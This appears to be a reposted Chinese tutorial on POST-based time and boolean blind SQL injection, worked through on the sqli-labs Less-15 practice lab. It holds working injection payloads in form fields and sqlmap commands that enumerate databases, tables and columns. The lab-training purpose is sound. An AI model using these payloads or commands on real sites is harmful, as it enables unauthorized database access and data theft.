SQL | POST基于时间与布尔盲注

Posted 山川绿水

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了SQL | POST基于时间与布尔盲注相关的知识,希望对你有一定的参考价值。

SQL | POST基于时间与布尔盲注

1.HTTP POST介绍

POST发送数据给服务器处理,数据包含在HTTP信息正文中
POST请求会指向资源提交数据,请求服务器进行处理,如:表单数据提交、文件上传等,请求数据会被包含在请求体中。
POST方法可能创建新的资源或修改现有资源。
使用POST方法时,查询字符串在POST信息中单独存在,和HTTP请求一起发送到服务器

2.POST基于时间的盲注

在存在注入点POST提交的参数后加and if(length(database())>5,sleep(5),null)如果执行的页面响应时间大于5秒,那么肯定就存在注入,并且对应的SQL语句执行。

我们在本地测试,有很明显延时

select * from users where id=1 and if(length(database())>5,sleep(5),null);


我们以Sqli-Lab-Less15为例,先进行抓包

(1)抓到包后,先进行确认,是否是我们想要代理的数据包;
(2)确认之后,发现我们所请求的方式是POST
(3)把数据包发送给Response,点击go
(4)查看右下角的时间情况;
本道题中,当我们使用时间盲注渗透测试时,有明显的延时回显

admin'and if(length(database())>7,sleep(5),null)--+


可以看到,前面正常的请求时间约2秒,而我们此时的时间为7秒,很明显的延时了5秒钟

3.POST基于布尔的盲注

在存在注入点POST提交的参数后加入if判断正确或错误的语句。

select length(database());
select substr(database(),1,1);
select ascii(substr(database(),1,1));
select ascii(substr(database(),1,1))>N;
select ascii(substr(database(),1,1))=N;
select ascii(substr(database(),1,1))<N;

我们可以在本地的mysql中进行测试

select * from users where username='admin' and (length(database())=8);


当我们测试数据库的长度是正确的时候,就会会显出正常的数据,否则为空。
我们还是以sqli-labs-less15为例

uname=admin' and 1=2#&passwd=123&submit=Submit


查看页面源代码,发现回显的这张图片是slap.jpg

我们输入正确的测试语句时

uname=admin1' and 1=1#&passwd=123&submit=Submit


查看页面源代码,发现回显的这张图片是flag.jpg

当我们执行布尔盲注的语句时,也是一样的回显,以此,可以爆破数据库,数据表名,字段名和字段内容

uname=admin' and length(database())=8#&passwd=123&submit=Submit

4.sqlmap安全测试

在sqlmap中指点探测技术使用–technique T(time) B(boolean)
1.将抓取下来数据包,全部复制到一个文本文档中


2.保存之后,使用sqlmap进行渗透测试

python2 sqlmap.py -r 1.txt --technique T -p uname


3.通过上述回显可以看出存在SQL基于时间的盲注,接下来爆破数据库

python2 sqlmap.py -r 1.txt --technique T -p uname --dbs


4.爆破数据表

python2 sqlmap.py -r 1.txt --technique T -p uname -D security --tables


5.爆破字段及内容

python2 sqlmap.py -r 1.txt --technique T -p uname -D security -T users --columns

以上是关于SQL | POST基于时间与布尔盲注的主要内容,如果未能解决你的问题,请参考以下文章

web安全sql注入盲注&布尔&延时&报错

SQl注入的分类

SQL注入:sqli-labs lesson-8 lesson -9 基于布尔值和基于时间的盲注!

DVWA——SQL Injection Blind(SQL盲注)

SQL盲注注入

Sql注入-6:布尔注入(上)